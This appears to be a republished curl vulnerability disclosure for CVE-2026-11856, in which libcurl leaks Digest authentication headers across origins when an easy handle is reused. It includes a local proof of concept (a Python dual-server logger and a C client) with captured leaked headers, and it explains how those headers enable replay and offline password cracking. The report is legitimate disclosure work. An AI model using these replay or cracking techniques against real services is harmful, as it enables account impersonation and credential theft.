HexBrain

curl · Report #3793260

CVE-2026-11856: cross-origin Digest auth state leak

Validstatus
mediumseverity
2upvotes
24 Jun 2026disclosed

How it was found

Summary:

This issue is the HTTP sibling to the previously disclosed RTSP Digest auth leak. When an application uses libcurl and reuses the same easy handle for sequential transfers (the documented best practice), the Digest authentication state captured from the first origin is silently sent to the next origin. This occurs because Curl_pretransfer() drops the initial_origin but fails to clear data->state.digest between curl_easy_perform() calls. Unlike recently fixed sibling bugs, this leak does not require redirects (-L), .netrc, proxies, or OAuth bearers. Furthermore, explicitly changing credentials via CURLOPT_USERPWD between calls does not prevent the leak, as the new user's password hash is still sent under the previous server's realm and nonce.

Affected version

Reproduced on stock curl 8.7.1 and current master 8.21.0-DEV (81cdf4d), macOS arm64. Backend (SecureTransport/OpenSSL) is irrelevant. Please note that the curl command-line tool is not affected — it calls curl_easy_reset() between transfers. This bug is in libcurl as used by applications that reuse easy handles. As of master 81cdf4d, no open PR or issue addresses this; the closest fixes (6daf4bc7e2 redirect; c1cfdf59ac proxy) only cover their respective trigger paths.

Steps To Reproduce:

The PoC sets up a legitimate server (:19001) that challenges the client, and an attacker server (:19002) that does nothing but log received headers.

  1. Servers (digest_servers.py)
#!/usr/bin/env python3
import http.server, threading, sys

class Legitimate(http.server.BaseHTTPRequestHandler):
    challenge = ('Digest realm="[email protected]",'
                 ' nonce="LEGIT-NONCE-7c3f0e1d", opaque="LEGIT-OPAQUE",'
                 ' qop="auth", algorithm=MD5')
    def do_GET(self):
        auth = self.headers.get('Authorization')
        if not auth:
            self.send_response(401)
            self.send_header('WWW-Authenticate', self.challenge)
            self.send_header('Content-Length', '0'); self.end_headers(); return
        sys.stdout.write(f"[LEGITIMATE:19001] {self.path}\n    auth={auth}\n"); sys.stdout.flush()
        self.send_response(200); self.send_header('Content-Length','0'); self.end_headers()
    def log_message(self, *a, **k): pass

class Attacker(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        auth = self.headers.get('Authorization', '<<NO AUTH>>')
        sys.stdout.write(f"[ATTACKER:19002]   {self.path}\n    auth={auth}\n"); sys.stdout.flush()
        self.send_response(200); self.send_header('Content-Length','0'); self.end_headers()
    def log_message(self, *a, **k): pass

def run(p, c): http.server.HTTPServer(('127.0.0.1', p), c).serve_forever()

threading.Thread(target=run, args=(19001, Legitimate), daemon=True).start()
threading.Thread(target=run, args=(19002, Attacker),   daemon=True).start()
import time; time.sleep(0.4); print("up", flush=True)
while True: time.sleep(60)
  1. Client (digest_poc.c)
#include <stdio.h>
#include <curl/curl.h>

static size_t devnull(char *p, size_t s, size_t n, void *u) {
    (void)p; (void)u; return s * n;
}

int main(void) {
    CURL *c = curl_easy_init();
    curl_easy_setopt(c, CURLOPT_HTTPAUTH, CURLAUTH_DIGEST);
    curl_easy_setopt(c, CURLOPT_USERPWD, "alice:bond");
    curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, devnull);

    /* Phase 1: Normal API call */
    curl_easy_setopt(c, CURLOPT_URL, "http://127.0.0.1:19001/api/me");
    curl_easy_perform(c);

    /* Phase 2: Secondary request to attacker URL */
    curl_easy_setopt(c, CURLOPT_URL, "http://127.0.0.1:19002/hook");
    curl_easy_perform(c);

    /* Phase 3: Processing a different user on the same handle still leaks */
    curl_easy_setopt(c, CURLOPT_USERPWD, "bob:secret");
    curl_easy_setopt(c, CURLOPT_URL, "http://127.0.0.1:19002/hook");
    curl_easy_perform(c);

    curl_easy_cleanup(c);
    return 0;
}
  1. Output
[LEGITIMATE:19001] /api/me
    auth=Digest username="alice", realm="[email protected]",
         nonce="LEGIT-NONCE-7c3f0e1d", uri="/api/me", cnonce="6sNdpZj9k+2dGcxj",
         nc=00000001, qop=auth, response="d0f78adb32ba56a7f18b230fbe49ca3c",
         opaque="LEGIT-OPAQUE", algorithm=MD5

[ATTACKER:19002]   /hook
    auth=Digest username="alice", realm="[email protected]",
         nonce="LEGIT-NONCE-7c3f0e1d", uri="/hook", cnonce="6sNdpZj9k+2dGcxj",
         nc=00000002, qop=auth, response="9c85cd807d6e52bfdc8f2a2c09420fea",
         opaque="LEGIT-OPAQUE", algorithm=MD5

[ATTACKER:19002]   /hook
    auth=Digest username="bob", realm="[email protected]",
         nonce="LEGIT-NONCE-7c3f0e1d", uri="/hook", cnonce="6sNdpZj9k+2dGcxj",
         nc=00000003, qop=auth, response="d6776337f455e7e590120439cc8c74a2",
         opaque="LEGIT-OPAQUE", algorithm=MD5

Notice two key findings here:

  1. nc increments globally, proving the in-memory state is carried over boundaries without cleanup.
  2. Phase 3 demonstrates that this bug is completely decoupled from the handle's configured credentials: explicitly changing CURLOPT_USERPWD to a new user (bob) still leaks the new user's password hash under the old server's realm and nonce.

(Note: This is separate from the domain= known bug (RFC 7616). Even without domain= directives, the default RFC protection space explicitly excludes different origins. Therefore, this cross-origin exposure is an independent violation of the default protection space, regardless of whether domain= parsing is implemented.)

Again: there is no bug-bounty for curl. We do not offer any rewards, only proper credits.

Confirmed.

Impact

Summary:

The scenario:

  1. An application uses libcurl to authenticate to its legitimate API server. The server issues a real Digest challenge, and the client successfully authenticates.
  2. The application then reuses the same easy handle to fetch a secondary URL (e.g., following a webhook, unfurling a link, fetching an external asset, or processing a user-supplied URL). This secondary URL points to an attacker-controlled server.

The attacker does not need to issue any challenge. They simply receive a fully-formed Digest Authorization header originally computed for the legitimate server.

With this leaked header, the attacker gains two immediate primitives:

  1. Same-URI Replay: The attacker can replay the exact header to the legitimate server within the nonce lifetime. This allows them to impersonate the user and trigger the exact same request (e.g., repeating a POST state change or fetching a sensitive GET response).
  2. Offline Password Cracking: The attacker can perform an offline dictionary attack against the user's password. The leaked header contains everything needed (nonce, cnonce, nc, qop, URI, method, and the response digest) to test candidate passwords against the legitimate realm, since the core secret is HA1 = MD5(user:realm:password).

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original